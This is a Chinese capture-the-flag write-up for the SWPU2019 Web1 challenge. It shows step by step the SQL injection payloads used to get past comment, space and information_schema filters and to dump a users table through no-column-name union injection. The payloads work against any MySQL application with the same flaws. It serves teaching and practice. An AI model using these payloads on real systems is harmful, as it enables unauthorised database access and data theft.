[SWPU2019]Web1
登录页面没发现什么注入点,随便注册了一个
在广告页面输一个1'
这不就是sql注入
1' or 1=1--+
测试之后是检测了–+,除此之外#等其他的注释符也被过滤了
因为测试出闭合方式是单引号,所以结尾可以用单引号闭合
1' union select 1,2,3'
空格全没了哇,用/**/
代替空格
-1'/**/union/**/select/**/1,2,3'
列数不对,竟然不是三列,难道是四列?
-1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
最后测试出是22列,好家伙!
回显在2,3
查库
-1'union/**/select/**/1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
查表
-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
发现过滤了information_schema
,那咋办呢
当过滤了information_schema
时
可以用mysql.innodb_table_stats
代替information_schema
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
查出了表面怎么查列名呢?
无列名注入
尝试写了一下,写着写着发现自己也没有太理解,还是引用大佬的文章吧
我的理解是在符合这种格式的情况下,改列名
select `3` from (select 1,2,3,4,5 union select * from users)a;
select `x` from (select 1,2 as x,3,4,5 union select * from users)a;
末尾的 a 是用来命名的,也可以是其他字符。
-1'union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
这个语句就是把第二列改为a,然后查a的数据
-1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'